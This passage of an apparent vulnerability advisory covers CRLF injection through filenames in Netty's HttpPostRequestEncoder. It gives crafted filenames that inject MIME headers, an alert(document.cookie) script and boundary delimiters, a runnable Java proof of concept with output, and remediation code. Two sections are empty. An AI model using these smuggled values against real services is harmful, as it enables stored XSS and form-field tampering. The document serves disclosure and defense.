3. Vulnerability Description

Netty's HttpPostRequestEncoder constructs multipart HTTP request bodies by directly concatenating user-supplied filenames and field names into Content-Disposition MIME headers without validating or sanitizing CRLF characters (\r\n). Since MIME headers are delimited by CRLF, an attacker who controls the filename can inject arbitrary MIME headers into the multipart body part.

Root Cause

In HttpPostRequestEncoder.java, multiple code paths directly embed fileUpload.getFilename() into header strings:

// Line 674 (attachment mode):
internal.addValue(HttpHeaderNames.CONTENT_DISPOSITION + ": "
    + HttpHeaderValues.ATTACHMENT + "; "
    + HttpHeaderValues.FILENAME + "=\"" + fileUpload.getFilename() + "\"\r\n");
//                                        ^^^^^^^^^^^^^^^^^^^^^^^^ NO VALIDATION

// Lines 686-688 (form-data mode):
internal.addValue(HttpHeaderNames.CONTENT_DISPOSITION + ": " + HttpHeaderValues.FORM_DATA + "; "
    + HttpHeaderValues.NAME + "=\"" + fileUpload.getName() + "\"; "
    + HttpHeaderValues.FILENAME + "=\"" + fileUpload.getFilename() + "\"\r\n");
//                                        ^^^^^^^^^^^^^^^^^^^^^^^^ NO VALIDATION

// Line 519 (attribute name):
internal.addValue(HttpHeaderNames.CONTENT_DISPOSITION + ": " + HttpHeaderValues.FORM_DATA + "; "
    + HttpHeaderValues.NAME + "=\"" + attribute.getName() + "\"\r\n");
//                                    ^^^^^^^^^^^^^^^^^ NO VALIDATION

The setFilename() method in all FileUpload implementations only checks for null:

// DiskFileUpload.java:77-79
public void setFilename(String filename) {
    this.filename = ObjectUtil.checkNotNull(filename, "filename");
    // NO CRLF VALIDATION
}

Comparison with Similar Fixed CVEs

This vulnerability follows the same pattern as:

The multipart encoder has no equivalent validation for filenames or field names.

4. Exploitability Prerequisites

This vulnerability is exploitable when:

1. The application uses Netty's HttpPostRequestEncoder to construct multipart HTTP requests
2. The filename of an uploaded file is derived from user-controlled input
3. The application does not perform its own CRLF sanitization on filenames

Common affected patterns:

• File upload proxies that forward user-supplied filenames
• API gateways that construct multipart requests from incoming parameters
• Microservice communication that passes filenames between services
• Testing/automation frameworks that use Netty HTTP client with user-defined filenames

5. Attack Scenarios

Scenario 1: Content-Type Override via Filename Injection

An attacker uploads a file with a crafted filename to override the Content-Type of the multipart body part, potentially enabling stored XSS:

String maliciousFilename = "photo.jpg\"\r\nContent-Type: text/html\r\n\r\n<script>alert(document.cookie)</script>\r\n--";

DiskFileUpload upload = new DiskFileUpload(
    "avatar", maliciousFilename, "image/jpeg", "binary", UTF_8, fileSize);

Wire format:

--boundary
content-disposition: form-data; name="avatar"; filename="photo.jpg"
Content-Type: text/html                    <-- INJECTED: overrides image/jpeg

<script>alert(document.cookie)</script>    <-- INJECTED: XSS payload
--"
content-type: image/jpeg                   <-- Original (now ignored by many parsers)
...

If the receiving server parses the first Content-Type, the file is treated as HTML instead of JPEG, enabling XSS when the file is served back.

Scenario 2: Arbitrary MIME Header Injection

String filename = "doc.pdf\"\r\nX-Custom-Auth: admin-token-12345\r\nX-Bypass-Check: true";

Injects arbitrary headers into the multipart body part that may be processed by downstream middleware or application logic.

Scenario 3: Multipart Boundary Confusion

String filename = "file.txt\"\r\n\r\nmalicious body content\r\n--boundary\r\nContent-Disposition: form-data; name=\"secret";

By injecting a new boundary delimiter, the attacker can:

• Terminate the current body part prematurely
• Start a new body part with a different field name
• Override form fields processed by the server

6. Proof of Concept

Full Runnable PoC Source Code (MultipartFilenameInjectionPoC.java)

import io.netty.buffer.ByteBuf;
import io.netty.buffer.Unpooled;
import io.netty.handler.codec.http.*;
import io.netty.handler.codec.http.multipart.*;

import java.io.File;
import java.io.FileWriter;
import java.nio.charset.StandardCharsets;

/**
 * PoC: HTTP Multipart Content-Disposition Header Injection via Filename
 *
 * Demonstrates that HttpPostRequestEncoder does not validate filenames
 * for CRLF characters, allowing injection of arbitrary MIME headers
 * into multipart form data.
 */
public class MultipartFilenameInjectionPoC {

    public static void main(String[] args) throws Exception {
        System.out.println("=== Netty Multipart Filename CRLF Injection PoC ===\n");

        testFilenameInjection();

        System.out.println("\n=== PoC Complete ===");
    }

    static void testFilenameInjection() throws Exception {
        System.out.println("[TEST 1] Filename CRLF Injection in Content-Disposition");
        System.out.println("-------------------------------------------------------");

        // Create a temporary file for upload
        File tempFile = File.createTempFile("test", ".txt");
        tempFile.deleteOnExit();
        try (FileWriter fw = new FileWriter(tempFile)) {
            fw.write("test content");
        }

        // Malicious filename with CRLF to inject Content-Type header
        String maliciousFilename =
            "innocent.txt\"\r\nContent-Type: text/html\r\nX-Injected: true\r\n\r\n" +
            "<script>alert(1)</script>\r\n--";

        HttpRequest request = new DefaultHttpRequest(
            HttpVersion.HTTP_1_1, HttpMethod.POST, "/upload");

        HttpPostRequestEncoder encoder = new HttpPostRequestEncoder(
                new DefaultHttpDataFactory(false), request, true,
                StandardCharsets.UTF_8, HttpPostRequestEncoder.EncoderMode.RFC3986);

        DiskFileUpload fileUpload = new DiskFileUpload(
                "file", maliciousFilename, "application/octet-stream",
                "binary", StandardCharsets.UTF_8, tempFile.length());
        fileUpload.setContent(tempFile);

        encoder.addBodyHttpData(fileUpload);
        encoder.finalizeRequest();

        // Read the encoded multipart body
        StringBuilder body = new StringBuilder();
        while (!encoder.isEndOfInput()) {
            HttpContent chunk = encoder.readChunk(Unpooled.buffer().alloc());
            if (chunk != null) {
                body.append(chunk.content().toString(StandardCharsets.UTF_8));
                chunk.release();
            }
        }
        encoder.cleanFiles();

        String encoded = body.toString();
        System.out.println("Malicious filename: " +
            maliciousFilename.replace("\r", "\\r").replace("\n", "\\n"));
        System.out.println();
        System.out.println("Encoded multipart body:");
        System.out.println("---");
        for (String line : encoded.split("\n", -1)) {
            System.out.println("  " + line.replace("\r", "\\r"));
        }
        System.out.println("---");

        boolean hasInjectedHeader = encoded.contains("X-Injected: true");
        boolean hasInjectedScript = encoded.contains("<script>");
        System.out.println();
        System.out.println("Injected X-Injected header: " + hasInjectedHeader);
        System.out.println("Injected script tag: " + hasInjectedScript);
        System.out.println("VULNERABLE: " +
            ((hasInjectedHeader || hasInjectedScript) ?
                "YES - MIME header injection!" : "NO"));

        tempFile.delete();
    }
}

How to Compile and Run

# Build Netty (skip tests)
./mvnw install -pl common,buffer,codec,codec-base,codec-http,transport -DskipTests \
  -Dcheckstyle.skip=true -Denforcer.skip=true -Djapicmp.skip=true \
  -Danimal.sniffer.skip=true -Drevapi.skip=true -Dforbiddenapis.skip=true \
  -Dspotbugs.skip=true -q

# Set classpath
JARS=$(find ~/.m2/repository/io/netty -name "netty-*.jar" -path "*/4.2.12.Final/*" \
  | grep -v sources | grep -v javadoc | tr '\n' ':')

# Compile and run
javac -cp "$JARS" MultipartFilenameInjectionPoC.java
java -cp "$JARS:." MultipartFilenameInjectionPoC

PoC Execution Output (Verified on Netty 4.2.12.Final)

=== Netty Multipart Filename CRLF Injection PoC ===

[TEST 1] Filename CRLF Injection in Content-Disposition
-------------------------------------------------------
Malicious filename: innocent.txt"\r\nContent-Type: text/html\r\nX-Injected: true\r\n\r\n<script>alert(1)</script>\r\n--

Encoded multipart body:
---
  --88aaade41dbb9f9f\r
  content-disposition: form-data; name="file"; filename="innocent.txt"\r
  Content-Type: text/html\r                          <-- INJECTED
  X-Injected: true\r                                 <-- INJECTED
  \r
  <script>alert(1)</script>\r                        <-- INJECTED XSS
  --"\r
  content-length: 12\r
  content-type: application/octet-stream\r
  content-transfer-encoding: binary\r
  \r
  test content\r
  --88aaade41dbb9f9f--\r
---

Injected X-Injected header: true
Injected script tag: true
VULNERABLE: YES - MIME header injection!


=== PoC Complete ===

7. Impact Analysis

8. Remediation Recommendations

Option 1: Validate in FileUpload.setFilename() (Recommended)

// DiskFileUpload.java / MemoryFileUpload.java / MixedFileUpload.java
public void setFilename(String filename) {
    ObjectUtil.checkNotNull(filename, "filename");
    for (int i = 0; i < filename.length(); i++) {
        char c = filename.charAt(i);
        if (c == '\r' || c == '\n') {
            throw new IllegalArgumentException(
                "filename contains prohibited CRLF character at index " + i);
        }
    }
    this.filename = filename;
}

Option 2: Sanitize in HttpPostRequestEncoder (Defense-in-Depth)

Escape or reject CRLF characters when building Content-Disposition headers:

// HttpPostRequestEncoder.java - add helper method
private static String sanitizeHeaderParam(String value) {
    for (int i = 0; i < value.length(); i++) {
        char c = value.charAt(i);
        if (c == '\r' || c == '\n' || c == '"') {
            throw new ErrorDataEncoderException(
                "Multipart parameter contains prohibited character at index " + i);
        }
    }
    return value;
}

// Then use in Content-Disposition construction:
internal.addValue(... + "=\"" + sanitizeHeaderParam(fileUpload.getFilename()) + "\"\r\n");

Option 3: RFC 2231/5987 Encoding for Filenames

Use proper RFC 2231 encoding for filenames with special characters:

// Encode filename per RFC 5987:
// filename*=UTF-8''encoded%20filename
String encodedFilename = "UTF-8''" + URLEncoder.encode(filename, "UTF-8");
internal.addValue(... + "filename*=" + encodedFilename + "\r\n");

9. References

• RFC 2183: Content-Disposition Header Field
• RFC 7578: Returning Values from Forms: multipart/form-data
• RFC 5987: Character Set and Language Encoding for HTTP Header Field Parameters
• CWE-93: Improper Neutralization of CRLF Sequences
• CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers
• GHSA-jq43-27x9-3v86: Netty SMTP Command Injection (same pattern)
• GHSA-84h7-rjj3-6jx4: Netty HTTP CRLF Injection (same pattern)